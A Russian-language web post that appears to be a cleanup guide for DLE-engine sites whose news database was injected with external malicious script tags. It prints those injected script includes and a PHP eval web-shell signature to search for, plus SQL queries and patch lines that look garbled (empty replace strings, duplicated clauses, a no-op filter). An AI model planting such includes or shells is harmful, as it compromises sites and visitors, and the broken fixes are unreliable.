Данный материал предоставлен сайтом ProWebber.cc исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
Скачать бесплатно Массовый взлом сайтов на движке DLE.
Скачать бесплатно Массовый взлом сайтов на движке DLE.
Внимание друзья и пользователи движком DLE. Недавно обнаружил посторонние iframe включения в страницах своих сайтов, покопавшись в интернете увидел, что такой же проблемой страдают тысячи других сайтов на DLE. Атака производилась после нового года, приблизительно в 5-6 числах и продолжается сейчас.
В этой теме я расскажу как избавится от этой проблемы и излечить свой сайт от посторонних включений!
Итак начнём:
Как распознать проблему?
-При переходе по страницам сайт начинает жутко тормозить!
-В полных и кратких новостях присутствует нечто:
<script src="http://zheenix.msk.ru/1d5bba8ac681811be25992f361d9108c.js" ENGINE="text/javascript"></script>
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
<script src="http://www.karbrrbrr.co.cc/1adfb9a63a0313c68f5572caecb8977b.js" type="text/javascript"></script>
Описание проблемы!
Эти включения представляют собой включения в базу MySQL, некоторые из них имеют обычный вид, а некоторые имеют генерируемые комбинации, типа
1d5bba8ac681811be25992f361d9108c
кторох удалить немного сложнее чем обычную статику. Не пытайтесь искать включения в файлах, весь этот мусор как я уже говорил храниится в MySQL!Решение проблемы и закрытие дыры в жвижке DLE
Способ 1:
1) Смени пароль на базу данных.
2) Сделай 2 автозамены в базе или в "поиск и замена":
а) замени:
<script src="http://zheenix.msk.ru и <script src="http://you-stupped-lox.ucoz.ru
на
<!--
б) замени:
js" type="text/javascript"></script>
на
-->
3) Проверь все файлы сайта (на фтп поиском) на содержание следующего текста:
а)
x2a
б)
{${@eval($_POST[cmd])}}
Сравни найденные файлы с исходниками движка и лишнее удали.
4) Поставь последние заплатки (включая платные)
-----------------------------------------
Способ 2:
Итак, например У меня в краткой и полной новости появилось по 3 скрипта
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
Делим их для удобства:
1.
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>
2.
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>
3.
1 удалить будет сложнее т.к код после слеша везде разный, поэтому начнем со 2 и 3!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
Нажимаем ОК!
Скрипт №3 так же удален!
Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью ОФИСОВСКОГО ВОРДА, нажимаем "правка"---->>>"замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru , тут же нажимаем "больше" и ставим галочку на "Подстановочные знаки" , нажимаем "заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'
нажимаем ОК!
Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках)
--------------------------------------------------
А теперь про ХАКИ, закрываем все дыры у нас в движке
1. Взята с ОФФ сайта DLE
Проблема: Недостаточная фильтрация входящих данных.
Ошибка в версии: 9.0 и все более ранние версии
Степень опасности: Высокая
Для исправления откройте файлы engine/modules/search.php и engine/modules/fullsearch.php и найдите:
$count_result = 0;
ниже добавьте:
$sql_count = "";
Откройте файл engine/inc/templates.php и найдите:
$allow_save = false;
ниже добавьте:
$_REQUEST['do_template'] = trim( totranslit($_REQUEST['do_template'], false, false) );
$_REQUEST['do_language'] = trim( totranslit($_REQUEST['do_language'], false, false) );
2. Запрещаем включения типа скрипт и ифрэймв полной и краткой новости:
Проблема: Недостаточная фильтрация входящих данных при обработке новостей.
Ошибка в версии: все версии
Степень опасности: Низкая
Откройте файл: engine/classes/parse.class.php
Найдите:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;
замените на:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "src") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;
Найдите:
$source = str_replace( "`", "`", $source );
Ниже добавьте:
$source = preg_replace( "#<iframe#i", "<iframe", $source );
$source = preg_replace( "#<script#i", "<script", $source );
-----------------------------------
Вот так можно избавится от этой серьёзной проблемы, которая может существенно навредить Вашему сайту и его позиции в поисковых системах.
Понравилась моя статья, она тебе помогла? Поставь мне + в репу. ;)
Предыдущая Следующая